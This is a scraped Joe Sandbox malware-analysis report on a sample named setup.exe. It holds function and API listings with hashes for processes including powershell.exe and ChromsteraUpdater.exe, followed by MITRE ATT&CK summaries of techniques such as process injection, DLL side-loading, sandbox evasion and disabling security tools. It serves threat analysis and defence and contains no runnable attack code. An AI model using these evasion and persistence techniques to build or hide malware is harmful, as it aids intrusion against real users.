Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: FormatFreeIos_base_dtorLocalMessagestd::ios_base::_
String ID: Failed to get Windows error message [win32 error 0x
API String ID: 201254970-3373098694
Opcode ID: 8dadaca9a4e6085d56d1d6f70ad79aa33a08c148355f54572e7894b7ca2c1412
Instruction ID: de444d0102dec5a2ce1807bee4f177d99499d5019adcc85ace9e48e38ea11332
Opcode Fuzzy Hash: 8dadaca9a4e6085d56d1d6f70ad79aa33a08c148355f54572e7894b7ca2c1412
Instruction Fuzzy Hash: C941B470A003089FDB10DF68C946BAEBBF8EF44714F208269E515A7391DB749B48CBD1

Function 00BE6C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BE6C6B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00BE6CCE

Strings

bad locale name, xrefs: 00BE6CF1

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 616f5c536a6f5e01dfc452afe84783e0a56e2849a5973fd08672ff646b9ba1e4
Instruction ID: 91ba328942c7d2bb4d36e5cbbcc67cef9b7167dc4bfa562c36f1b7168e524b5e
Opcode Fuzzy Hash: 616f5c536a6f5e01dfc452afe84783e0a56e2849a5973fd08672ff646b9ba1e4
Instruction Fuzzy Hash: 8621E070A05784DED720CF69C90478ABBF4EF15300F24869DE48997B81D7B5AA04C7A1

Function 00D7F583 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00BBAD10: InitializeCriticalSectionAndSpinCount.KERNEL32(00E9FEF0,00000000,E5106CA8,00BA0000,00DA7E40,000000FF,?,00D7F5B2,?,?,?,00BA7726), ref: 00BBAD35
Part of subcall function 00BBAD10: GetLastError.KERNEL32(?,00D7F5B2,?,?,?,00BA7726), ref: 00BBAD3F

IsDebuggerPresent.KERNEL32(?,?,?,00BA7726), ref: 00D7F5B6
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00BA7726), ref: 00D7F5C5

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00D7F5C0

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CountCriticalDebugDebuggerErrorInitializeLastOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 450123788-631824599
Opcode ID: eaa260a03971f233b20860b01f24c1ae51ee5d10b08c2ca185e3529b46a6f4dd
Instruction ID: 4f4eb45a9cf6ce994a473ba2cd8213bf5d007af5b9c14db323698b0f3cc14360
Opcode Fuzzy Hash: eaa260a03971f233b20860b01f24c1ae51ee5d10b08c2ca185e3529b46a6f4dd
Instruction Fuzzy Hash: DDE092702057508FC330AF69D9543427BE4AF04310F108E6DE446E3690EBB1E488CB71

Function 00D7F902 Relevance: 5.0, APIs: 4, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000008,?,00BB83B7,?,?,00BB8164,?), ref: 00D7F907
HeapAlloc.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F90E
GetProcessHeap.KERNEL32(00000000,00000000,?,?,00BB8164,?), ref: 00D7F954
HeapFree.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F95B

Part of subcall function 00D7F7A0: GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,00D7F94A,00000000,?,?,00BB8164,?), ref: 00D7F7C4
Part of subcall function 00D7F7A0: HeapAlloc.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F7CB

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Heap$Process$Alloc$Free
String ID:
API String ID: 1864747095-0
Opcode ID: 4e46bfcbb288b0f49679a65c66f2c63f413b91263e1c79dfc7b42a78be288284
Instruction ID: ec1f047d5307fd1959d4803d8691d85bfe35efb4cf7cf0f91ee0d09bad410693
Opcode Fuzzy Hash: 4e46bfcbb288b0f49679a65c66f2c63f413b91263e1c79dfc7b42a78be288284
Instruction Fuzzy Hash: 27F09072644711ABC7342BB9BC08A5F2A559B94761725C138F649E6254EF20C8418B70

Analysis Process: powershell.exePID: 7964, Parent PID: 7912COMMON

Executed Functions

Function 00007FFD9B4B244D Relevance: 2.0, Strings: 1, Instructions: 702COMMON

Download Yara Rule

Strings

n, xrefs: 00007FFD9B4B2490

Memory Dump Source

Source File: 00000006.00000002.1835635773.00007FFD9B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B4B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b4b0000_powershell.jbxd

Similarity

API ID:
String ID: n
API String ID: 0-2013832146
Opcode ID: bf1d8ece0f4a931c7949de3482ebbce7243155ec4d41ed44020f7edadf8b0915
Instruction ID: dc9a0dfc2ef03a187a7f33b2cfca433db10982f6a17bc0aa224c441671d310ea
Opcode Fuzzy Hash: bf1d8ece0f4a931c7949de3482ebbce7243155ec4d41ed44020f7edadf8b0915
Instruction Fuzzy Hash: F4227522A0EA9D0FE7A59BA868755B93FE1EF56314F0901BFD18CC70E3DE18A905C741

Function 00007FFD9B3E55B5 Relevance: .6, Instructions: 580COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1835307304.00007FFD9B3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c71123e3da1a4858994eb6e84b108a52bb37178c031a8e8d4b6d1d20bb85c8c8
Instruction ID: 20ca7ba6aaf88e4d4ff3192ce234be4239dfcd8016b74c488bac46a3b1ab5831
Opcode Fuzzy Hash: c71123e3da1a4858994eb6e84b108a52bb37178c031a8e8d4b6d1d20bb85c8c8
Instruction Fuzzy Hash: 2402C031A09A4D8FDBA8EF58C455AE977E1FF58310F1602AED04DD7292DA24ED42CB81

Function 00007FFD9B3E2B45 Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1835307304.00007FFD9B3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d73250e085f84b445044ddaee02da06c725f59281d6ebcdf0903ed394617ded8
Instruction ID: a71e8f2980a185c643c6d3cdaf266ecba62e5e854b833fe067e4d21b2cad77f3
Opcode Fuzzy Hash: d73250e085f84b445044ddaee02da06c725f59281d6ebcdf0903ed394617ded8
Instruction Fuzzy Hash: D9D1B631A09A4E8FDF98EF9CC865AE97BF1FF58300F1541AAD449D7296CA34E845C780

Function 00007FFD9B4B2527 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1835635773.00007FFD9B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B4B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b4b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39820c2fa24edc3e3cf6262ae57b6d074f2db8fdb037044951e1570a122a7c19
Instruction ID: f7c4aea4bc53f315c3c12213f58f65c831e75df7b8c14b9286dd37e583e832e0
Opcode Fuzzy Hash: 39820c2fa24edc3e3cf6262ae57b6d074f2db8fdb037044951e1570a122a7c19
Instruction Fuzzy Hash: 2C414B22F0FAAF0BF7B996DC24756BC6AC1EF50328B4500BED65DC30F2DD18A9406A01

Function 00007FFD9B3E6613 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1835307304.00007FFD9B3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d86aa18d61a20f9b15eee371dca04646afabf0250d1d4367390238785f2b1aea
Instruction ID: 504c69c630c201274899816f2b1d2c33b656fd1de4ecb1b0de7c900d528c075a
Opcode Fuzzy Hash: d86aa18d61a20f9b15eee371dca04646afabf0250d1d4367390238785f2b1aea
Instruction Fuzzy Hash: 5B418131E18A0D8FDFA8EF68D451AE9B7A1FF55304F1041BAD00DD7296CA35A981CB80

Function 00007FFD9B3E47E5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1835307304.00007FFD9B3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46279e8dfcbac31cef5c8a2db28f50d011e00b5a6c4941bd45b542a181d8802f
Instruction ID: 3bd4d38704dc81a4cd338541b2b953e5e7d87ac86ff887b744ca0720305fa85c
Opcode Fuzzy Hash: 46279e8dfcbac31cef5c8a2db28f50d011e00b5a6c4941bd45b542a181d8802f
Instruction Fuzzy Hash: FE01AC3011CB0C4FD748EF4CD051AA5B7E0FB95320F10056DE59AC3551D636E881C741

Function 00007FFD9B3E6354 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1835307304.00007FFD9B3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b3e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 864913ead6a091816814587d18003a54ef0e71d096611e7a0c28f40185f81593
Instruction ID: 046b446ce7012926f7cd709559234ebf34295cee54552d3e37acab48da72ace7
Opcode Fuzzy Hash: 864913ead6a091816814587d18003a54ef0e71d096611e7a0c28f40185f81593
Instruction Fuzzy Hash: 79E0123272C8144FDF58FB5CF893AE5B391EB94320B0406A6E44AC7195E916EE82C7C5

Analysis Process: ChromsteraUpdater.exePID: 8100, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.1%
Total number of Nodes:	1126
Total number of Limit Nodes:	23

Executed Functions

Function 0010E060 Relevance: 32.5, APIs: 21, Instructions: 955
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1810546549.00000000000D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 000D0000, based on PE: true

Associated: 00000008.00000002.1810517264.00000000000D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.1810635597.00000000001A8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.1810702040.00000000001DA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.1810743853.00000000001DE000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d0000_ChromsteraUpdater.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 8deeca12d74a2b98aac61b673534d1227b818719230526a0223608c395cc11a5
Instruction ID: 7f171485b371608c91ffc00ea9f5303227d29d4a40e17c2bee2277f11eaa54e6
Opcode Fuzzy Hash: 8deeca12d74a2b98aac61b673534d1227b818719230526a0223608c395cc11a5
Instruction Fuzzy Hash: 34729071A01209EFDB10CFA8CC44BAEBBF8FF45714F14865AE915AB391D7759A04CBA0

Function 0013A1B0 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 376
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,?,00000001,?), ref: 0013A262
GetLastError.KERNEL32 ref: 0013A26C
GetActiveWindow.USER32 ref: 0013A332
GetExitCodeThread.KERNEL32(?,?,00000000,?,?,?,?,?,1C327622,?,?), ref: 0013A360

Strings

), xrefs: 0013A477
', xrefs: 0013A447

Memory Dump Source

Source File: 00000008.00000002.1810546549.00000000000D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 000D0000, based on PE: true

Associated: 00000008.00000002.1810517264.00000000000D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.1810635597.00000000001A8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.1810702040.00000000001DA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.1810743853.00000000001DE000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d0000_ChromsteraUpdater.jbxd

Similarity

API ID: Thread$ActiveCodeErrorExitLastMessagePostWindow
String ID: '$)
API String ID: 1109395723-1897525437
Opcode ID: 490d36bf23dfc5198644acdddaa874f0e6f4bc4770b5343ec444fb8f578129c4
Instruction ID: 828e6f306f74c61d4364bdb3b8e16ec0f594bdcb4f108d98af8db8554f66e20a
Opcode Fuzzy Hash: 490d36bf23dfc5198644acdddaa874f0e6f4bc4770b5343ec444fb8f578129c4
Instruction Fuzzy Hash: BCF19970501288DFDB10CF68C888B9EBBF4BF05314F588269F8559B2A1D7B4DD49CB92

Function 000DA1D0 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 592
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 000DA288
_wcsrchr.LIBVCRUNTIME ref: 000DA416

Part of subcall function 000D43D0: GetProcessHeap.KERNEL32 ref: 000D4425

_wcsrchr.LIBVCRUNTIME ref: 000DA6B2

Strings

<, xrefs: 000DA281
.aiu, xrefs: 000DA68E, 000DA69E
<>:"/\|?*, xrefs: 000DA5F5, 000DA605

Memory Dump Source

Source File: 00000008.00000002.1810546549.00000000000D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 000D0000, based on PE: true

Associated: 00000008.00000002.1810517264.00000000000D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.1810635597.00000000001A8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.1810702040.00000000001DA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.1810743853.00000000001DE000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d0000_ChromsteraUpdater.jbxd

Similarity

API ID: _wcsrchr$CrackHeapInternetProcess
String ID: .aiu$<$<>:"/\|?*
API String ID: 1665875833-3633523513
Opcode ID: 0b90d96e4bfc13724ecac610398ff3b6c450bf0820bff1ad3361a38c66993ae2
Instruction ID: 031b19439db3e8bc7eec70232af08254362d73ded8ef21956a35143c4c9895de
Opcode Fuzzy Hash: 0b90d96e4bfc13724ecac610398ff3b6c450bf0820bff1ad3361a38c66993ae2
Instruction Fuzzy Hash: 0F228031A01709DFDB00DFA9C845BAEB7F4AF55314F14825AE8159B392EB74DE04CBA2

Function 001040A0 Relevance: 7.6, APIs: 5, Instructions: 62synchronizationnetworkCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?,?,?,?,001034D2,?,?,?,?,?,00000003,00000000,1C327622,?,?), ref: 001040B3
InternetConnectW.WININET(001034D2,001034D2,001034D2,001034D2,001034D2,001034D2,001034D2), ref: 001040D6
GetLastError.KERNEL32(?,?,?,?,001034D2,?,?,?,?,?,00000003,00000000,1C327622,?,?), ref: 001040E0
WaitForSingleObject.KERNEL32(?,0000000A,?,?,?,?,001034D2,?,?,?,?,?,00000003,00000000,1C327622,?), ref: 00104111
SetEvent.KERNEL32(?,?,?,?,?,001034D2,?,?,?,?,?,00000003,00000000,1C327622,?,?), ref: 00104136

Memory Dump Source

Source File: 00000008.00000002.1810546549.00000000000D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 000D0000, based on PE: true

Associated: 00000008.00000002.1810517264.00000000000D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.1810635597.00000000001A8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.1810702040.00000000001DA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.1810743853.00000000001DE000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d0000_ChromsteraUpdater.jbxd

Similarity

API ID: Event$ConnectErrorInternetLastObjectResetSingleWait
String ID:
API String ID: 3866874665-0
Opcode ID: 0982cf5ddebd98ad3e9e066ab0f5b7e3509657ddda2da371566ef633632938a3
Instruction ID: a02ecc6c87501d746df866fc4e4f4ecc12141f94ab4756161c637f395ee143c3
Opcode Fuzzy Hash: 0982cf5ddebd98ad3e9e066ab0f5b7e3509657ddda2da371566ef633632938a3
Instruction Fuzzy Hash: D01182722057048FD7305B55E988B577BA4EBB6326F10882EE1C6829A1D7B0F8D5DB50

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report setup.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation
